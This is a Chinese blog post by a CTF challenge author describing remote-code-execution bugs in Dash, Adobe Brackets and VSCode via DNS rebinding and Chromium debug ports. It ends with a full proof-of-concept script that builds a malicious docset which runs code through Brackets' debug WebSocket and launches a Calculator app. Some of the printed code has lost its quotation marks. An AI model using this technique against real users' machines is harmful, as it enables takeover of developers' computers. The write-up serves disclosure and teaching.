上個月的 realdworldctf 設計了一個完全真實的客戶端軟體 pwn 題目。

在接到出題邀請的時候也差點要「另請高明」了。當時正好在準備 LoCCS 的暑期學校的課件,因為拖延搞得講課前夜通宵沒睡狂寫 ppt,緊接著又安排出差,趁著飛機延誤之類的邊角時間寫評測環境和測試 exploit 之類,最後還是在比賽已經開始的情況下才在第一個晚上把穩定性堪憂的環境部署上線。

倉促的出題過程也是埋下了伏筆。竟然在比賽過程中,先後有幾支國際隊伍交上了真正的 0day 利用。而賽後我簡單反編譯了程序,還發現了更多的遠程代碼執行問題。

由於補丁今天剛剛發布,在這裡我不會公開相關漏洞的細節。


在年初我偶然發現了一個 Visual Studio Code 的遠程代碼執行漏洞,而報告後發現被撞洞了。這個問題是 Electron 使用了 Chromium 的遠程前端調試協議,是基於 http 和 WebSocket 的。

攻擊者在知道調試埠的情況下,可以使用 dns 重綁定的技巧獲得一個隨機的 uuid,構造一個 WebSocket 協議的 url,向 Electron 的前端注入任意代碼,實現 node.js 任意代碼執行。

VSCode 在部分版本中意外開啟了 Extension 進程的調試埠,只要瀏覽一個網頁並停留數十秒(dns rebinding 需要一段時間讓舊 dns 記錄失效),計算機便可被遠程控制:

Visual Studio Code silently fixed a remote code execution vulnerability?

medium.com

受此啟發我在 Adobe Brackets 上發現了完全一致的漏洞:

CEF remote debugging is vulnerable to dns rebinding attack #14149?

github.com

與 VSCode 不同的是,Adobe Brackets 沒有使用 Electron,而是自行封裝的 libCEF 框架,與 node.js 的集成方式也不同。Electron 可以在 window 的上下文中訪問 node.js API,而 Brackets 的編輯器前端則沒有提供這個功能,儘管 Brackets 當中使用到了 node.js 運行時。

不過 Brackets 在上下文中暴露了如下的兩個對象:brackets 和 appshell

這兩個對象封裝了文件系統和 shell 相關的功能。雖然我們不能 require(child_process),但是通過 appshell.fs 可以實現任意文件讀寫。到文件讀寫這一步其實已經可以拿 flag 了,當然一開始我們沒有給出 flag 的路徑,還是反彈一個 shell 比較靠譜。覆蓋可執行文件加上額外的觸發條件即可實現遠程代碼執行。

在 Brackets 的擴展介面中,我找到了如下兩個與系統 shell 相關的方法:

  • brackets.app.openURLInDefaultBrowser
  • brackets.app.showOSFolder

前者支持打開 file:/// 域,在 Windows 下相當於 ShellExecute,打開一個 .cmd 或者 .exe 即可執行代碼;而 showOSFolder 在 macOS 下的表現是,如果文件夾是一個有效的 .app bundle,那麼等同於雙擊 .app,也就是運行。如果你不太明白,那麼請嘗試在終端中執行

find /Applications/Calculator.app
open /Applications/Calculator.app

因此我們先判斷平台差異,通過 appshell.fs 創建可執行文件,然後調用對應的方法即可運行:

function calc() {
// use brackets.fs to write your own executable
// makedir, writeFile, chmod are your friends
if (brackets.app.getUserDocumentsDirectory().indexOf(/) === 0) {
brackets.app.showOSFolder(/Applications/Calculator.app);
} else {
brackets.app.openURLInDefaultBrowser(file:///C:/windows/system32/calc.exe);
}
}

到這裡即可實現與 VSCode 之前的 bug 完全一致的效果,通過 dns 重綁定攻擊本地埠實現遠程代碼執行。在我之前的漏洞報告後,libCEF 參考 node.js 和 Electron 的做法修復了 dns 重綁定的問題。但是最新版 Brackets 的這個埠仍然可以從 localhost 訪問。


為什麼盯上了 Dash 呢?

Dash 可以說是以 macOS 為主力開發環境的程序員當中很受歡迎的一款工具了,主要功能就是離線看文檔。文檔是一個後綴為 docset 的 bundle 文件夾,存放 html 資源和索引資料庫等。

它具有兩個攻擊面,一個是展示文檔時用的是 WebView,另一個是在打開文檔的時候會啟用一個內置的 GCDWebServer 來啟動一個 http 服務,可通過其他計算機訪問。

macOS 上的 WebView 和 iOS 的 UIWebView 在很多方面是一樣的:

  • 沒有進程隔離和 sandbox
  • 在 file:/// 域下的文件默認具有 AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 的 UXSS 能力

在之前版本的 Dash 就可以通過一個惡意的 docset,以 XMLHttpRequest 的方式讀取並上傳本地文件(例如 ssh 公私鑰)的內容。在 3.x 的某一個版本(具體不詳)中增加了限制,如果訪問的文件在 docset 目錄之外會失敗。但這個版本可以使用在壓縮包中添加符號鏈接的方式繞過(由於 docset 是文件夾,通常的分發方式是使用 tar.gz 包)。此外符號鏈接的問題同樣影響 Dash 內置的 http 服務。

經過報告後修復了本地文件泄露的問題,這也為出題提供了一個絕佳的條件——這是個允許跨域請求,卻又不能簡單 AJAX 讀本地文件的環境,選手必須實現實質性的遠程代碼執行。最後這個 WebView 和系統內置 Safari 的 WebKit 是一致的,避免選手使用已公開的瀏覽器漏洞利用代碼來獲得許可權。至於打 ctf 用 Safari 0day?瘋了嗎。


doc2own ( Points: 425, Solved by 4 Teams )

I have to fix these issues during the flight. Since that airline does not provide Internet, I have to download some documents for offline use.34.236.229.208:8080Hint : It』s a pwnable game. You really need to achieve RCE to get the flag.

題目設定的劇情就是一個像我一樣的信息技術底層勞動力,在出差的路上需要修 bug,又沒網,只能下一個離線文檔備用。而這時候下到了不幹凈的文檔,於是電腦中招了。

217 戰隊按照預期的解法做了出來。

https://blog.l4ys.tw/2018/07/realworld-ctf-2018-doc2own/?

blog.l4ys.tw

在這裡附上我自己調試通過的一個解法,生成一個 docset,在 Brackets 運行的情況下打開會彈出一個計算器

contents=exploit.docset/Contents
docs=$contents/Resources/Documents

rm -r $contents
mkdir -p $docs

cat > $docs/index.html <<- "EOF"
<script>
async function main() {
const list = await fetch(http://localhost:9234/json).then(r => r.json());
const item = list.find(item => item.url.indexOf(file:///) === 0);
if (!item) return console.error(invalid response);
const url = `ws://127.0.0.1:9234/devtools/page/${item.id}`;
console.log(url: + url);
exploit(url);
}
function exploit(url) {
function calc() {
const fs = window.appshell.fs;
const mkdir = path => new Promise((resolve, reject) =>
fs.makedir(path, 0755, err => err => err === 0 ? resolve(true) : reject(err)));
const writeFile = (path, content) => new Promise((resolve, reject) =>
fs.writeFile(path, content, utf8, false, err => err === 0 ? resolve(true) : reject(err)));
const chmod = (path, mode) => new Promise((resolve, reject) =>
fs.chmod(path, mode, err => err === 0 ? resolve(true) : reject(err)));
const INFO_PLIST = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>hello</string>
<key>CFBundleIconFile</key>
<string>AppIcon</string>
</dict>
</plist>`;
const EXEC = `#!/bin/sh
open -a Calculator`;
const app = /tmp/test.app/;
const base = app + Contents/
return mkdir(base + MacOS)
.then(writeFile(base + Info.plist, INFO_PLIST))
.then(writeFile(base + MacOS/hello, EXEC))
.then(chmod(base + MacOS/hello, 0777))
.then(new Promise((resolve, reject) => {
brackets.app.showOSFolder(app)
}));
}
const ws = new WebSocket(url);
ws.onopen = async () => {
let counter = 13371337;
const send = (method, params) => new Promise((resolve, reject) => {
const id = counter++;
const recv = ({ data }) => {
const parsed = JSON.parse(data);
if (parsed.id === id) {
resolve(parsed.result);
ws.removeEventListener(message, recv);
} else {
console.log(message: , data);
}
};
ws.addEventListener(message, recv);
ws.send(JSON.stringify({ id, method, params }));
});
const response = await send(Runtime.evaluate, { expression: `(${calc})()` });
console.log(response.result);
ws.close();
}
ws.onerror = () => console.log(failed to connect);
}
main();
</script>
EOF

cat > $contents/Info.plist <<- "EOF"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>exploit</string>
<key>CFBundleName</key>
<string>Exploit</string>
<key>DocSetPlatformFamily</key>
<string>exploit</string>
<key>dashIndexFilePath</key>
<string>index.html</string>
<key>isDashDocset</key>
<true/>
</dict>
</plist>
EOF

sqlite3 -batch $contents/Resources/docSet.dsidx << "EOF"
CREATE TABLE searchIndex(id INTEGER PRIMARY KEY, name TEXT, type TEXT, path TEXT);
CREATE UNIQUE INDEX anchor ON searchIndex (name, type, path);
INSERT OR IGNORE INTO searchIndex(name, type, path) VALUES (Exploit, Class, index.html);
EOF

open exploit.docset

tar czf exp.tar.gz exploit.docset

視頻封面

00:05


但是出乎我意料的是,另外三支強隊 PPP, CyKOR 和 ESPR 在短短的比賽期間內直接交上了兩個不同的 0day 解法。賽後我向廠商整理漏洞報告,又快速瀏覽了一遍反彙編,又發現了另外的一些疑似遠程代碼執行問題(我沒有做 poc,經過開發者自己確認存在)。

Dash 作者接到報告之後非常迅速地推出了修復補丁,檢查了線上的 Dash 文檔倉庫確保之前沒有實質性的攻擊,在更新日誌中明確寫明了安全漏洞的存在並對以上戰隊表示了致謝。應急響應做得非常不錯。

Dash 用戶請儘快升級到 4.4.0 來修復這些問題。


推薦閱讀:
相关文章